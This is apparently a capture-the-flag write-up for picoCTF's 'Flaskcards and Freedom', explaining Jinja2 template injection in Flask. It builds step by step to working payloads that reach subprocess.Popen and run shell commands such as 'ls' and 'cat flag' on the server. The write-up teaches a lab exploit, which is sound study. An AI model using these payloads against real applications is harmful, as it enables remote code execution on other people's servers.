This task is a "sequel" to the first one in the "Flaskcards" series. The
vulnerability is the same, but this time we need to get code execution out of

First, here are the two reference articles for FLask/Jinja2 SSTI exploitation :

- [Exploring SSTI in Flask/Jinja2 part I](https://www.lanmaster53.com/2016/03/09/exploring-ssti-flask-jinja2/)
- [Exploring SSTI in Flask/Jinja2 part II](https://www.lanmaster53.com/2016/03/11/exploring-ssti-flask-jinja2-part-2/)

Everything we need to solve this task is in those two posts !

What we need to do is explore the Python environment in order to find a class
that we can use for command execution. Here's how to construct a payload :

{{ "".__class__.__mro__ }}

In python, everything is an object. So here `""` (an empty string) is a
`str` instance. the `__class__` attribute gives us access to its class (`str`).
the `__mro__` (Method Resolution Order) attribute of a class gives us the
inheritance tree of that class (a tuple of classes) :

(str, object)

Now, "everything is an object" in python translates to "every class is a
subclass of `object`". So we can explore the python environment by listing
the subclasses of `object` :

If `{{ "".__class__.__mro__ }}` evaluates to `(str, object)`, then

{{ "".__class__.__mro__[1] }}

evaluates to


We can then use the `__subclasses__()` method of the `object` class to get a
list of subclasses. So using the payload :

{{ "".__class__.__mro__[1].__subclasses__() }}

We get a very long list classes. I copied it and then used :

subclasses = !pbpaste
for index, subclass in enumerate(subclasses[0].split(',')):
print(f'{index}: {subclass}')

to get a list of the subclasses with their index in the list.

_Note : `!command` is not python syntax, it is an
[IPython](https://ipython.org/) feature that returns the output of a command.
`pbpaste` is an OSX command that echoes the content of the system clipboard._

Going through the list, we can find a class that can be used for command
execution. The most obvious one is `subprocess.Popen`, at index `533`. We could
get a bind/remote shell, or just list the current directory :

{{ "".__class__.__mro__[1].__subclasses__()[533]("ls", stdout=-1, shell=True) }}

This shows a `flag` file, so let's `cat` it :

{{ "".__class__.__mro__[1].__subclasses__()[533]("cat flag", stdout=-1, shell=True) }}

And that gives us the flag = `picoCTF{R_C_E_wont_let_me_be_85e92c3a}`.

Original writeup (http://blog.iodbh.net/picoctf2018-web-flaskcards-and-freedom.html).